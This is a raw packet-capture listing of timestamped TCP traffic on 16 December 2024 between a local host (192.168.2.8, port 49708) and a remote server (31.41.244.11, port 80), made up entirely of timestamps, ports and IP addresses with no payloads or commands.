Dec 16, 2024 17:02:15.407494068 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.407510996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.407530069 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.407545090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.407582998 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.408339024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.408349991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.408369064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.408390045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.408413887 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.409121037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.409133911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.409152031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.409164906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.409172058 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.409198046 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.409970999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.410011053 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.410018921 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.410026073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.410053968 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.410077095 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.410800934 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.410825014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.410851002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.410854101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.410872936 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.410896063 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.411478043 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.411501884 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.411528111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.411528111 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.411556959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.411571980 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.411715984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.411761999 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.412584066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.412595034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.412612915 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.412638903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.412676096 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.413202047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.413214922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.413233042 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.413254976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.413290024 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.413974047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.413985968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.414010048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.414022923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.414025068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.414051056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.414086103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.414657116 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.414669037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.414686918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.414706945 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.414741993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.415442944 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.415457964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.415471077 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.415503025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.415525913 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.416346073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.416357040 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.416376114 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.416387081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.416399002 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.416423082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.416456938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.417129993 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.417141914 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.417159081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.417181969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.417215109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.417865038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.417876959 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.417896032 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.417917013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.417952061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.418837070 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.418850899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.418867111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.418885946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.418891907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.418901920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.418941975 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.419514894 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.419528961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.419545889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.419559956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.419595957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.420169115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.420212030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.420221090 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.420226097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.420258045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.420280933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.421118975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421130896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421149015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421164036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421170950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.421205997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.421916008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421927929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421947002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.421968937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.421992064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.422724009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.422735929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.422755957 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.422779083 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.422852039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.423593044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.423604965 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.423620939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.423649073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.423681974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.424652100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.424664021 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.424681902 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.424696922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.424702883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.424742937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.425313950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.425326109 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.425359964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.425364971 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.425399065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.425964117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.425977945 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.425993919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.426009893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.426035881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.426740885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.426753044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.426770926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.426789045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.426789045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.426827908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.427459002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.427474022 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.427490950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.427516937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.427552938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.428193092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428205013 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428224087 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428245068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.428270102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.428906918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428920031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428944111 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428958893 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.428960085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.428986073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.429028988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.429697990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.429709911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.429729939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.429773092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.429806948 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.430504084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.430516005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.430532932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.430557966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.430591106 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.431286097 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.431297064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.431318045 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.431333065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.431349039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.431385994 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.432189941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.432218075 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.432230949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.432240009 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.432277918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.432857037 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.432881117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.432900906 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.432909012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.432946920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.433806896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.433819056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.433835030 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.433849096 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.433860064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.433883905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.434537888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.434550047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.434568882 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.434588909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.434611082 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.435568094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.435580015 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.435599089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.435622931 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.435667992 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.436253071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.436304092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.436306000 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.436317921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.436333895 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.436343908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.436367989 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.436391115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.436969995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.436991930 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.437006950 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.437017918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.437040091 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.437073946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.437582970 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.437614918 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.437628031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.437628031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.437659979 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.437685013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.438513994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.438529968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.438545942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.438563108 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.438568115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.438592911 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.438627958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.439271927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.439284086 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.439301968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.439328909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.439342976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.439999104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440011024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440030098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440052986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.440077066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.440805912 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440818071 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440831900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440856934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.440864086 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.440890074 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.440926075 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.441610098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.441659927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.513787985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.513861895 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.513897896 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.513942003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.514280081 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.514333963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.514451027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.514498949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.515820026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.515877962 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.516005039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.516154051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.517049074 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.517102003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.517122984 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.517173052 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.517999887 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.518054008 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.518070936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.518115044 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.518822908 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.518872976 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.518904924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.518949986 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.519711018 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.519759893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.519933939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.519980907 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.520735025 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.520783901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.520865917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.520909071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.521653891 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.521703005 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.521735907 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.521785021 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.522649050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.522700071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.522763968 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.522815943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.523793936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.523855925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.523885012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.523926020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.524719000 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.524766922 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.524887085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.524934053 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.525872946 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.525959015 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.526103973 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.526149988 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.527095079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.527156115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.527242899 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.527291059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.527988911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.528040886 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.528115034 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.528162956 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.529120922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.529165983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.529323101 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.529371023 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.530163050 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.530211926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.530278921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.530325890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.531186104 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.531235933 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.531354904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.531403065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.532280922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.532337904 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.532407999 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.532457113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.533508062 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.533557892 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.533612967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.533660889 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.534451008 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.534502983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.534578085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.534621954 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.535617113 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.535686016 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.535717964 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.535763025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.536992073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.537060022 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.537133932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.537182093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:15.537841082 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:15.537903070 CET	49708	80	192.168.2.8	31.41.244.11
